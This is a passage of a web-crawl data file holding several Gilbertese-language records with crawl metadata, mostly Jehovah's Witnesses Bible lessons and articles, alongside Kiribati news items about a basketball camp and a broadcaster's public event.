buokiko n reiakina ae e taekinaki n te Baibara ni kaineti ma reirei aika kakaokoro n ikotaki ma, e aera ngkai ti rawawata, tera ae riki n te mate, aroni karekean te kukurei n te utu, ao a a bati riki.\nKo kona ni mimi bwa e aera ngkai e a rangi ni bati te kangaanga ni boong aikai. E reirei te Baibara bwa e na waekoa te Atua ni katoki aia kangaanga aomata n aron te rawawata, te aoraki, ao te mate.\nMWAKORO 1\nN am iango e mutiakiniko te Atua? Reiakin riki aroarona ao arom ni kona n riki bwa raoraon te Atua.\nMWAKORO 2\nE na kangaa te Baibara ni kona ni buokiko n am kangaanga? Bukin tera bwa ko kona n onimakin taetae ni burabeti ake iai?\nMWAKORO 3\nTera aron te maiu n te aonnaba ae boou ngkana e a bwaretaiti te aonnaba?\nMWAKORO 4\nNora bukina ngkai Iesu bon te Mesia are beritanaki, e roko mai ia, ao e aera ngkai Natin Iehova ngaia ae te rikitemanna.\nMWAKORO 5\nTera te kaboomwi? Ko na kangaa ni kakabwaiaaki iai?\nMWAKORO 6\nReiakinna bwa a mena ia maate ae taekinna te Baibara ao bukini mateia aomata.\nMWAKORO 7\nE a tia ni mate ae ko tangiria? Ko kona ni manga noriia? Reiakina ana reirei te Baibara ibukin te mangauti.\nMWAKORO 8\nA bati aomata aika ataa ana Tataro te Uea. Tera nanon te kibuntaeka aei: \"E bia roko am Tautaeka n Uea\"?\nMWAKORO\nIangoi mwakuri ao aroaro aika otabwaninira, ake a kaotia bwa ti a maiu ngkai imwain raoi tokin te aonnaba, n aron are e taetae ni burabetinaki n te Baibara.\nMWAKORO 10\nA taekinaki n te Baibara taekaia anera ao taimonio. Bon iai taamnei aikai? A kona ni buokira ke ni karuanikaira?\nMWAKORO 11\nA bati aika a iangoia bwa e riai ni bukinaki te Atua n rikin te rawawata n te aonnaba. Tera ngkoe am iango? Nora ae e taekinna te Atua ibukin rikin te rawawata.\nMWAKORO 12\nE kona n reke te maiu ae kukurei iai Iehova. Ko boni kona n riki bwa raoraona.\nMWAKORO 13\nTera ana iango te Atua ni kabwakaan te teei, n te karinraraa, ao ni maiun te man?\nMWAKORO 14\nTe tangira are e kaotiotia Iesu bon te katoto ae a kona ni kakairi iai buumwaane, buuaine, kaaro, ao ataei. Tera reireiara mairouna?\nMWAKORO 15\nRinanoi onoua bwaai aika a kinaaki iai kaain te Aro ae koaua.\nMWAKORO 16\nBaikara kangaanga aika ko kona ni kaaitara ma ngaai ngkana ko taekina am koaua nakoia tabemwaang? Ko na kangaa ni kona ni karaoa anne ma n aki kaunia?\nMWAKORO 17\nE ongo am tataro te Atua? Ngkana ko na kaekaa te titiraki aei, ko riai n ataa ana reirei te Baibara ibukin te tataro.\nMWAKORO 18\nBaikara mwaneka aika kainnanoaki bwa ko aonga n tau nakon te bwabetito ibukia Kristian? Noria bwa tera ae nanonaki iai ao tera raoi aroni karaoana.\nMWAKORO 19\nTi na kangaa ni kaota ara tangira ao ara kakaitau ibukini bwaai ni kabane ake e karaoi te Atua?\nNanon taeka ao kibuntaeka aika kabonganaaki n te boki ae Tera Reireiara Man te Baibara?","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/reirei-n-te-baibara\/","date":"2018-02-23T16:56:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814801.45\/warc\/CC-MAIN-20180223154626-20180223174626-00247.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":529,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aikai kaibuke (wa-uawa) are a bae ma rarikin te uaabu are i Betio ni uakaan ma te jetty. E karako te koraki n ririaki n te aono aio kioina bwa e a tibwa ingabong. Tao ngkana e tawanou riki ao tao e na manga rangi n tabetabe te tabo aio irouia kaa ma taan mwakuri ibukin katauraokin waa aikai nakon aia borau are imwiina.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/aerophotoblog.com\/2017\/12\/12\/at-the-wharf\/","date":"2018-02-22T00:36:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891813832.23\/warc\/CC-MAIN-20180222002257-20180222022257-00175.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":64,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.391,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAIKONAKI AE TE TORO AE AKI RAOIROI\n\"KAREKEIA RAORAOMI\" NI KAUBWAIMI\nMan ana kaikonaki Iesu are e a tibwa taekinna are te nati ae bua, a a riai n ota ngkanne taan rikoa te taekiti, taani koroboki, ao Baritaio, ae e tauraoi te Atua ni kabwarai aia bure akana rairi nanoia. (Ruka 15:1-7, 11) Ma ngkai e a taetae ni kaineti ma taan rimwina. E a manga taekina riki te kaikonaki, ma ngkai ai taekan te mwaane ae kaubwai ae e nora manatian ana auti ke ana toro, bwa e aki mwakuri raoi.\nE taekinna Iesu bwa te toro aei e bukinaki bwa e aki karaua ana bwai ana toka. Ngaia are e a taku te toka aei bwa e na kabaneaki te toro arei. E iango te toro arei ao e taku: \"Tera ae N na karaoia ngkai e a kabaneai man nakoau n toro au toka? E aki tau korakorau n ribana, ao I maamaa ni bubutii.\" Ibukini baika a na riki n taai aika imwaina, ao e a motikia ni kangai: \"I ataa te bwai ae N na karaoia, n te aro ae a na butimwaeai iai aomata nakoni mwengaia, ngkana I a kabaneaki man nakoau n toro.\" E waekoa ni weteiia taan taarau ao e titirakinia ni kangai: \"Iraua baem iroun au toka?\"—Ruka 16:3-5.\nE kaeka are te moan ni kangai: \"Tebubua te bwai ni baire te oera are te oriwa.\" Ae nanona bwa 580 te kaaran n oera. Tao e taarau teuaei ibukini karababaan ana tawaana n oriwa ke tao te tia iokinibwaia te oera. E taku te toro arei nakoina: \"Ao aei am beeba ni boraraoi ibukin te kataarau. Tekateka ni kabaitiko ni korea 50 [290 te kaaran].\"—Ruka 16:6.\nE a manga titirakina are temanna ni kangai: \"Ao ngkoe, iraua baem?\" E taku: \"Tebubua te bwai ni baire te uita.\" Ae nanona 22,000 te rita. E taku te toro nakon te tia taarau arei: \"Ao aei am beeba ni boraraoi ibukin te kataarau ao korea 80.\" E kakerikaaka te taarau 20 te katebubua.—Ruka 16:7.\nIai mwaakan te toro i aon ana bwai ana toka n te tai aei, are nanona bwa bon iai naba riaina ni kakerikaaka mwaitin aia taarau naake a taarau iroun ana toka. Ni karaoan aei e a karekea iai tangirana te toro arei irouia taan taarau ao a na kona ni manga akoia ngkana e a kabaneaki man ana mwakuri.\nE a ongo te toka taekan te baei. E ngae ngke e na ruuti n te bwai are e karaoaki arei, ma e anaaki nanona iroun ana toro ao e kamoamoaa bwa \"e ngae ngke e aki raoiroi arona,\" ma \"e bwaina te wanawana.\" E taku riki Iesu: \"A wanawana riki natin te waaki ae ngkai i aon te aba n aroia n reitaki ma aia roro, nakoia natin te oota.\"—Ruka 16:8.\nE aki boutokaa te baere e karaoia te toro arei Iesu, ao e aki naba kaungaa te waaki ni bitineti ae babakanikawai. Ma tera ngkanne ana reirei? E kaumakiia taan rimwina ni kangai: \"Karekeia raoraomi ni kabongana kaubwain te aonnaba ae aki raoiroi aei, bwa ngkana a a bane, ao ane a na mwaneingkami raoraomi aikai nakoni nne ni maeka ake a aki mamauna.\" (Ruka 16:9) Eng, bon iai te reirei ikai ni kaineti ma te moantaai ni kakatauraoi ao bwainan te wanawana. A riai ana toro te Atua aika \"natin te oota\" ni kabonganai kaubwain te aonnaba n te aro ae wanawana, ma kantaningaan te maiu n aki toki n te tai ae imwaia.\nBon tii Iehova ae te Atua ao Natina ae a kona ni karina temanna n te Tautaeka n Uea i karawa ke n te Bwaretaiti i aon te aba i aan te Tautaeka n Uea anne. Ti riai n taningamarau ni karikirakea ara iraorao ma ngaiia ni kabonganaani kaubwain te aonnaba aika iroura ni boutokaa iai te Tautaeka n Uea. E na boni kamatoaaki ara kantaninga ibukin te tai ae imwaira ngkana e a bane ke e a mauna te koora, te tirewa, ao kaubwain riki te aonnaba aei.\nE taku naba Iesu bwa naake a kakaonimaki ni kawakina kaubwaia ke aia bwai ao ni kabonganai raoi, a na boni kakaonimaki naba n tararuai baika a kakawaki riki. E katerea Iesu ni kangai: \"Mangaia are ngkana kam aki kakaonimaki ni kaineti ma kaubwain te aonnaba ae aki raoiroi aei, antai ngkanne ae e na mwiokoingkami n te kaubwai ae koaua [n aroni baika irekereke ma te Tautaeka n Uea]?\"—Ruka 16:11.\nE kaotia Iesu nakoia taan rimwina bwa e bati riki ae kainnanoaki mairouia ngkana a na karekei \"nne ni maeka ake a aki mamauna.\" Akea ae kona n riki bwa ana toro ni koaua te Atua ao ana toro naba te buakaka, ae nanonaki iai kaubwain te aonnaba ae aki raoiroi. E motikia ni kangai Iesu: \"Akea te toro ae kona n toro irouia tooka aika uoman, bwa ane e na ribaa temanna ao e na tangira are temanna, ke e na nimta temanna ao e na kakeaa bongan are temanna. Kam aki kona n toro iroun te Atua ao te Kaubwai.\"—Ruka 16:9, 13.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-mainikun-ioretan\/te-kabotau-te-toro-kaubwain-te-aonnaba-ae-aki-raoiroi\/","date":"2018-02-26T03:56:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891817999.51\/warc\/CC-MAIN-20180226025358-20180226045358-00249.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":836,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor\nA kibanako uoman ana taan takakaro te Kiribati Basketball Federation n te Kaabong ae nako 1 n Tebetembwa ni kaea te kataneiai ae te Pacific Youth Leaders Basketball Camp are e na karaoaki n te Gold Coast Aotiteria.\nNakai bon Timee Tekonnang ao Nei Turia Nakuau ake a tia n rineaki man te botaki n takakaro ae te Kiribati Basketball Federation bwa ana kaea te reirei aio.\nN ana marooroo Tekabwara Raurenti ao e taekinna bwa ni mwanangaia aio are ana reiakinaki iai bwaai aika a rangi ni kakawaki ibukin karikirakean rabakau n te basketball.\nA reiakinaki naba ikai atakin aia kakammwakuri taan takakaro n te Court,ana ko nan aba n ata aron totokoan ao uotakin te booro,taian kataneiai ibukin karikirakean te takakaro n kabonganaan te 1on 1 ao te 5 on 5.\nIkai naba ao a reiakinaki nab ate ko na n ata aroia tiim n totoko ke n uota te booro, te rabakau ni ko na ni kangabuaka inanon te takakaro.\nAna kabanea uoua te wiki ibukin tikuia ikekei ao e mwanenaki tikuia ikekei man te FIBA Oceania.\nA kantaningaaki nakai bwa n okiia ao ana ko na ni manga tibwai rabakauia ao ongoia are a tia n reiakinaki iai nakoia taan takakaro ni kabane iaon Kribiati n te basketball ao a kantaningaaki naba bwa ngaiia ake ana ko na ni manga ibuobuoki n ana waaki te bwasketball n taai aika ana roko.\nAio teuana mai ibuakon ana kainibaire te Kiribati Basketball Federation ibukin karikirakean te takakaro aio nakoia te roronrikirake n te ririki 2016.\nA kantaningaaki nakai bwa ana karairaki man aia kataneiai aio n 12 Tebetembwa 2016.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/kiribatiupdates.com.ki\/2016\/09\/18\/e-eweati-te-basketball\/","date":"2018-02-24T12:01:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815560.92\/warc\/CC-MAIN-20180224112708-20180224132708-00265.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":267,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15 \"Ngai te kai ae te kureebe ni koaua, ao Tamau te tia ribana. 2 E anai mwaanga nako ake irou aika aki karikiuaa, ao e kaitiakii mwaanga nako aika karikiuaa, bwa a aonga ni kabatiai riki uaaia.+ 3 Kam a itiaki ibukin te taeka are I a tia n taekinna nakoimi.+ 4 Kam na teimatoa ni katiteuanaaki ma ngai, ao ngai N na teimatoa ni katiteuanaaki ma ngkami. N aron te mwaanga ae aki kona ni karikiuaa ngkana e aki teimatoa n nim ma te kai ae te kureebe, ao ai aromi naba ngkana kam aki teimatoa ni katiteuanaaki ma ngai.+ 5 Boni ngai te kai ae te kureebe, ao ngkami mwaangana. Ane e teimatoa ni katiteuanaaki ma ngai, ao I katiteuanaaki ma ngaia, ao e na karikii uaa+ aika bati. Bwa ngkana akea ngai ao akea te bwai naba teuana ae kam kona ni karaoia. 6 Ngkana iai ae e aki teimatoa ni katiteuanaaki ma ngai, ao e na koreakinako ma n riki n ai aron te mwaanga ae rai. Ao a ikotii mwaanga akanne aomata ao a karenakoi n te ai ao a kabuekaki. 7 Ngkana kam teimatoa ni katiteuanaaki ma ngai ao a tiku au taeka i nanomi, ao ngkana kam bubutii te bwai ae kam tangiria ao e na bon reke.+ 8 E neboaki Tamau n aei, ae kam teimatoa ni karikii uaa aika bati, ma ni kaota koauan ae bon taan rimwiu ngkami.+ 9 Kam na teimatoa ni karaoingkami bwa aomata aika tangiraki irou, n aron te Tama ae tangirai+ ao ngai I tangiringkami. 10 Ngkana kam kakairi n au tua nako ao kam na teimatoa n tangiraki irou, n aron ae I kakairi n ana tua nako te Tama ao I teimatoa n tangiraki irouna. 11 \"I atongi baikai nakoimi, bwa e aonga n reke iroumi te kimwareirei ae irou, ao e na kakororaoaki kimwareireimi.+ 12 Aio au tua, bwa kam na itangitangiri i marenami n arou ae I tangiringkami.+ 13 Akea te tangira iroun te aomata ae korakora riki nakon aei, ae e na anga maiuna* ibukia raoraona.+ 14 Bon raoraou ngkami ngkana kam karaoa ae I tua nakoimi.+ 15 I a aki manga araningkami bwa tooro, ibukina bwa te toro e aki ataa te bwai ae e karaoia ana toka. Ma I araningkami bwa raoraou, ibukina bwa I kaotiotii nakoimi bwaai ni kabane ake I ongo iroun Tamau. 16 Kam aki rineai, ma ngai ae I rineingkami, ao I mwiokoingkami bwa kam na nako ma n teimatoa ni karikii uaa aika a na teimaan, bwa e aonga n anganingkami ane kam butiia te Tama n arau, n aki ongeia bwa tera ae kam butiia.+ 17 \"I tua baikai nakoimi, bwa kam na itangitangiri i marenami.+ 18 Ngkana a ribaingkami kaain te aonnaba, ao kam ataia bwa a a kaman ribaai imwain ae a ribaingkami.+ 19 Ngke arona bwa kam arona aroia kaain te aonnaba ngkami ao a na tangira oin aia bwai kaain te aonnaba.+ Ma ibukina bwa kam aki arona aroia kaain te aonnaba, ma I rineingkami mai buakoia, ngaia ae kam a ribaaki+ iai irouia kaain te aonnaba. 20 Ururinga au taeka are I tuangingkami: E aki kakannato riki te toro nakon ana toka. Ngkana a bwainikirinai ao ane a na bwainikiriningkami+ naba, ao ngkana a kakairi n au taeka ao ane a na kakairi naba n ami taeka. 21 Ma a na karaoi baikai ni kabane n ekingkami nako iai ibukin arau, ibukina bwa a aki ataa Teuare kanakomaiai.+ 22 Ngke arona bwa I aki roko n taetae nakoia, ao akea aia bure.+ Ma ai akea ngkai aonaia man aia bure.+ 23 Ane e ribaai ao e ribaa naba Tamau.+ 24 Akea aia bure ngke arona bwa I aki karaoi mwakuri i buakoia ae akea ae e a tia ni karaoia mai mwaina.+ Ma a a tia ngkai n norai ao a ribaai ao a ribaa naba Tamau. 25 Ma e riki aei bwa e na kakororaoaki te taeka are koreaki n aia Tua ae kangai: 'A ribaai n akea bukina.'+ 26 Ngkana e roko te tia ibuobuoki ae N na kanakomaia nakoimi mairoun te Tama, are te taamnei ae raoiroi ae kaota te koaua,+ ae nako mairoun te Tama, ao ane e na kaotioti ibukiu.+ 27 Ao ngkami kam na kaotioti+ naba, ibukina bwa kam memena ma ngai man te moantai.\nTaiani Kabwarabwara Mai Nano\n^ Kuriiti, psy·kheʹ, nora Nanon Taeka.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/ioane\/15\/","date":"2018-02-22T15:22:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814124.25\/warc\/CC-MAIN-20180222140814-20180222160814-00707.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":706,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Timoteo bon te teinimwaane ae e kukurei ni buokiia aomata. E mwamwananga nakon taabo aika bati ni buokiia iai tabemwaang. Ibukin aei ao e karekea maiuna ae rangi ni kakukurei. Ko kan ongoraea rongorongona?—\nE reiakinaki Timoteo taekan Iehova iroun tinana ao tibuna\nE ikawairake Timoteo n te kaawa ae arana Rutetera. Ngke e uarereke, ao e reiakinaki taekan Iehova iroun tibuna ae Roiti ma tinana ae Eunike. Ngke e a tabe n ikawairake Timoteo, ao e tangiria ni buokiia tabemwaang bwa a na reiakina taekan Iehova.\nNgke te teinimwaane Timoteo, ao e tuangaki irouni Bauro bwa e na mwamwananga ma ngaia nakon taabo tabeua n uarongorongo iai. E kaeka ni kangai Timoteo: 'Ngaia!' E tauraoi n nako ao ni buokiia tabemwaang.\nE mwananga Timoteo ma Bauro nakon te kaawa ae arana Tetaronike ae mena i Maketonia. A na rianna n te kawai ae abwabwaki ao n toka n te booti bwa a aonga n roko ikekei. Ngke a a roko, ao a buokiia aomata aika bati n reiakina taekan Iehova. Ma a un aomata tabeman ao a kataia ni kammarakiia. Ai ngaia are a a kitana ikekei Bauro ma Timoteo ao n uarongorongo n taabo riki tabeua.\nTabeua te namwakaina imwina, ao e a tuangaki Timoteo irouni Bauro bwa e na manga okira Tetaronike ao n nora aroia taari iai. E kainnanoaki te ninikoria ae bati ni manga okiran te kaawa ane karuanikai anne! Ma e nakon te kaawa anne Timoteo bwa e raraoma irouia taari ake iai. E a manga oki rikaaki nakoni Bauro ma te rongorongo ae kakukurei. A karaoa ae raoiroi taari ake i Tetaronike!\nE mwakuri Timoteo ma Bauro i nanon ririki aika bati. E koroboki n te taina Bauro ibukin Timoteo bwa bon te aomata ae mwaatai are e kona ni kanakoaki bwa e na buokiia ekaretia. E tangira Iehova Timoteo ao e tangiriia naba aomata.\nKo tangiriia aomata ao ko kani buokiia bwa a na reiakina taekan Iehova?— Ngkana anne nanom, ko kona ni karekea maium ae rangi ni kakukurei, n aron Timoteo!","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/reireinia-natimi\/e-tangiria-timoteo-ni-buokiia-aomata\/","date":"2018-02-22T15:25:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814124.25\/warc\/CC-MAIN-20180222140814-20180222160814-00707.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":340,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by online editor\nBy Ataniman Tamuera\nE a uki BPA nakoia te botanaomata n te Kanimabong ae nako ao man rungarungaki n te Bairiki tikuea irouia irua, kaain BPA ao ai bon naake a roko ni mataku n te tai anne.\nE anga ana taeka n te Baba n Tararua nte BPA te tia babaire ae Bill Reiher ike e a taekinna bwa te BPA te rabwata ae boboto iaon kaongora ake a rangi n irekereke ma te waaki n tautaeka, bitiniti ao ai te botanaomata.\nE oti aei n ana tai n taetae ngke e anga ana taeka imwin ana CEO, BPA ae Teannaki Tongaua e taku naba Teannaki ae te bong aei bon aia tai ni kaotinako ike a kona iai aomata n norii raoi bwa antai aomata aikai n aron naba are e kaokiokia aia MC ae te marketing officer ae Tawati Uati.\n\"Tobwaan te rikirake rinanon te kananko bwana\" bon aia boto n iango ma irua aika a roko aikai Nei Moia Tetoa te tia tararua te kanako bwana n taian kaongora ao te tia Babairea kannonan taian kaongora.\nE bon reke aia tai ni kanako bwana Nei Konnang Taia n te ingabong anne ao Nei MOia Tetoa iaan te itai ke te Bairiki tikuea ike e a kanako rongorongo n te taetae ni Kiribti ao Nei Nweritonga Temariti e wareki rongorongo n Imatang.\nIrua ake a roko naba n te tai anne bonb Neeti TekineneFM, Tangitaake Angiraoi, Rosaline Kiata, ataniman Tamuera, Teboua Eritaia, ao te tia tararuai kaongora ao ai Teitibwebwe Kabiriera ma MC Tawati Uati ao n ikotaki ma taan mwkauri ao ai raraoia nako BPA ake aranaki bwa ana business partners.\nBon iai nab ate kuaea ae te kairiao te katoka bau ao ai moarariki ana keeke te BPA are e koreaki iroun temanna nab ate irua ae rine ae te chairman n te BPA Bill Reheir\nTe MC are e kaira waakin te tai anne bon Tawati Uati, e waaki te katawanou imwin te program ao man bwaranako te aba imwina.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/25\/e-uki-bpa-nakoia-te-botanaomata\/","date":"2018-02-24T12:06:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815560.92\/warc\/CC-MAIN-20180224112708-20180224132708-00326.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":339,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.348,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kabwarabwaraaki te rabakau n aonnaba n te rikitinare teuana bwa boni \"kamatebwaian te karikibwai ao aroni mwakurin te iuniweeti mani karaoan te ukeuke, te kakatai ao te kakaae.\" N angiin te tai, bon te mwakuri ae rangi ni karawawata ao ni kangaanga karaoana. A kekeiaki taan rabakau ribuakon aia kakatai ao aia ukeuke i nanoni wiki, namwakaina ao n tabetai i nanon naba ririki aika bati. N tabetai, bon akea mwin aia kakaae ma n angiin te tai a karekea mwia aika kakabwaiaaki iai aomata. Iangoi katoto tabeua.\nE a tia te kambwana mai Eurobe ni karaoa ana mitiin man te buraetitiki ae matoatoa ao taian raumwea ibukin raumwean te ran ae baareka ike e na kona n totokoa aorakin temanna man nimakin te ran. A kamanenaaki mitiin aikai ni kabuanibwai aika karina n aron te mwaeiei are e riki i Haiti n 2010.\nE karaoaki te Global Positioning System (GPS) man reitakin taian satellite i karawa. E karaoaki te baei ibukia taani buaka ma a buokaki naba iai turaiua, bwairati, taani kabuta te kaibuke, taani kaeman ao taan rianna ibukin ataakin kawaia. Ti kaitauia taan rabakau ni karaoan te baei bwa e a bebete reken te tabo are ti kan nako iai.\nKo kakabongana te mobwaao, te kaombiuta ke te Intanete? Ko a marurung man aorakim imwini kamanenaani bwainnaoraki? Ko mwamwananga n te wanikiba? Ngkana ngaia anne, ko boni kakabwaiaaki ngkanne man aanga tabeua ake e a tia te rabakau n aonnaba ni buokiia iai aomata. E bon rotaki maium n te rabakau n aonnaba n aanga aika bati aika raraoi.\nTIAN TE KONABWAI N TE RABAKAU N AONNABA NI BOONG AIKAI\nA a kananoa riki aia kakaae taan rabakau ni boong aikai ibukini karababaan riki aia atatai. A kekeraanako aroni mwakurin te atom taan rabakau i aon te baei ao a kataia naba ni kaotaia taan rabakau i aoni bwaini karawa ni kaineti ma moan rikin te iuniweeti, birion ma birion te ririki n nako. A iangoia taan rabakau bwa ngkai a kona ni kananoa aia kakaae i aon taabo aika aki kona n noraki, a kona naba ni kunea te Atua are e taekinaki n te Baibara ngkana bon iai.\nTabeman taan rabakau ao taani karioiango aika kinaaki, a boni waakinaanako naba aia kakaae. A waakina karaoan anne man te baere e taekinna te tia korea rongorongon te rabakau n aonnaba ae Amir D. Aczel ni kangai: \"E kaitaraaki te koaua ae iai te Atua n te rabakau n aonnaba.\" N te katoto, a taekinna taan rabakau aika tanoata taekaia bwa aongkoa \"a boni memeere bwaai ni kakoaua ibukin te Atua are ngaia ae karika te iuniweeti ao ni katerea bwa akea te atua.\" A taku tabeman bwa a na mwakuri te Atua are taekinaki n te Baibara bon \"te tabunea\" ke \"te mwaaka ae mwamwanaa te aba.\" *\nMa e ngae n anne, e riai n tabekaki te titiraki ae kangai: E a tia te rabakau n aonnaba n reiakina ae bati ibukin te aonnaba ni karekea mwin aia kukune ae kona ni kakoauaaki raoi? Ni koauana, e aki. E tabe n ririkirake te rabakau n aonnaba, ma a ataia taan rabakau aika bati bwa a mwaiti baika a tuai n atai ao aika a bon aki kona n atai. E taekina ae kangai te tia rabakau ae Steven Weinberg are e reke kaniwangana ae te Nobel Prize: \"Ti bon aki kona n oota raoi n te karikibwai.\" E korea naba ae kangai Professor Martin Rees, ae te tia rabakau i aoni bwaini karawa mai Buritan: \"A a bati bwaai aika a aki kona n ota iai aomata.\" Ni koauana, a bati baika karikaki aika riaon te konabwai n te rabakau n aonnaba ni boong aikai, bwa e na ota iai ni moa man te cell ae bingingi ni karokoa te iuniweeti ae takabubura. Nori katoto aikai:\nA aki ota raoi taan rabakau ni bwain te rabwata n aroni mwamwakurin taian cell. E tuai kona te rabakau n aonnaba ni karekei raoi kaekaan titiraki ibukin aron taian cell ni karekea te korakora, ni karika te protein ao ni bwenaua i nanoni mwakorokoro.\nTi rotaki n ana katikitiki te aonnaba ni katoa bong. Ma bon te bwai ae raba nanona nakoia taan rabakau i aon te physics. A aki ataia raoi bwa e kangaa ana katikitiki te aonnaba ni katikiko nako aontano ngkana ko kiba ke ni kateimatoa namwakaina bwa e na buti ni katomimia te aonnaba.\nA katautaua taan rabakau bwa e nakon 95 te katebubua kanoan te iuniweeti aika aki kona n noraki ao ni kuneaki n aia bwai ni mwakuri. A tibwai baika aki atai aikai nakoni kurubu aika uoua bwa te dark matter ao te dark energy. A bon teimatoa naba n tuai ataaki baikai irouia aomata.Bon iai riki baika tuai ataaki irouia aomata aika kamangaoa aia iango taan rabakau. Bukin tera bwa e kakawaki aei? E korea ae kangai te tia rabakau temanna ae kinaaki: \"A bati riki baika ti aki atai nakon aika ti atai. Ngai irou, ko kona ni mimi n te rabakau n aonnaba ao n tangiria n reiakina ae bati riki, n oneani mwin ae ko na rawa ni butimwaei aia iango aomata.\"\nNgkana ko nanououa n aron te rabakau n aonnaba n onea mwin te Baibara ao ni kakeaa kakoauaan te Atua, iangoa ngkanne te titiraki aei: E riai bwa ti na kakeai bongani baike e riaon ana konaa te rabakau n aonnaba ni kekeraanako taekaia, ngkai tii taan rabakau aika rangi ni wanawana a kona ni karekea te atatai ae uarereke ibukin te aonnaba man aia bwai ni mwakuri? N tokin te kaongora ae abwabwaki i aon rongorongon rikiraken taiani kamatebwai ni bwaini karawa, e motikaki ni kangai n te boki ae te Encyclopedia Britannica: \"Imwin 4,000 te ririki ni kamatebwaiani bwaini karawa ao e tuai kona n tabwanin raoi te ota i aon te iuniweeti, n aron are noraki naba irouia kaaini Baburon.\nA karinea inaomataia aomata ni karaoa aia motinnano i aon te itera aei Ana Tia kakoaua Iehova. Ti kakorakoraira ni kakairi n ana kaetieti te Baibara are kangai: \"E na ataaki wanawanami irouia aomata nako.\" (I-Biribi 4:5) Ngaia are ti kaoko bwa ko na nenera aroni boraoin ao kaokoron te rabakau n aonnaba ma te Baibara.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150601\/te-rabakau-n-aonnaba-ni-maiura-ni-katoabong\/","date":"2018-02-23T17:15:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814801.45\/warc\/CC-MAIN-20180223154626-20180223174626-00350.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1040,"character_repetition_ratio":0.085,"word_repetition_ratio":0.002,"special_characters_ratio":0.208,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E RIAI N TAURAOI TE TORO AE KAKAONIMAKI\nE ROKO IESU BWA E NA KARIKA TE IRARAURE\nE a tia ni kabwarabwaraa Iesu bwa tii \"te nanai ae uarereke\" ae e na reke nneia n te Tautaeka n Uea ae bwaini karawa. (Ruka 12:32) Ma e riai n iaiangoaki raoi reken te kaniwanga ane moan te tamaroa anne. E bon reitia ni 